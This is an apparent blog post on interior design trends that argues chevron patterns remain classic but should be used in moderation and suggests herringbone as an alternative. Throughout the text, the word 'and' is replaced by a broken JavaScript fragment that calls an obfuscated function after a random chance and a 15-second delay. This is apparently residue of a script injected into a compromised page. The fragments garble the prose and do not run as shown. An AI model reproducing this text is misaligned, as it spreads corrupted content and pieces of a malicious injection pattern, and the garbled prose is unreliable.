If you’ve been following the interior design trends over the past couple of years you’ll have noticed a lot of talk about the chevron trend andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I mean a lot. Quick recap—this is chevron:

It’s a really distinct, simple, elegant pattern. It comes in whatever colors you want, though it’s almost always only two colors with one being white. So, what’s all the hubbub about? Well some people are declaring chevron is outdated andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} old news. Others are saying the chevron trend only began reaching its potential in 2012 andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 2013; leaving room for growth andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} experimentation. Still, others are saying this look is timeless andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} can’t simply be replaced. Somewhere there must be a middle ground in all of this.

The truth is chevron really is a classic pattern andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} completely versatile. You can use it as an accent in a room or liven up your home by donning the pattern across an entire wall. The future of chevron may not be a matter of all or nothing; rather it seems to be all about moderation andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} variance.

Less is more is an old cliché, but it totally holds true. You might not need a giant chevron throw on your couch, instead get a couple of chevron pillows andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} let those act as a nice accent. Similarly, you might not want to dedicate an entire wall to this pattern, or any pattern. In this case, use chevron sparingly in the kitchen between your counters andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} upper cabinets. When used like this andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} done in tile work, chevron looks simply amazing.

All things change over time, so consider how a close relative to chevron might serve to progress the pattern trend. I’m talking about herringbone. This design is essentially a chevron pattern, but with a modern twist (a pattern by any other name). It’s definitely hip andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} allows for a little more variation than a traditional chevron might.

So, is it time to take all of your chevron pattered belongings andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} burn them in fit of zigzag rage? No. However, for 2014 you might want to consider scaling back the amount of chevron in your home andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} let this classic pattern speak for itself.
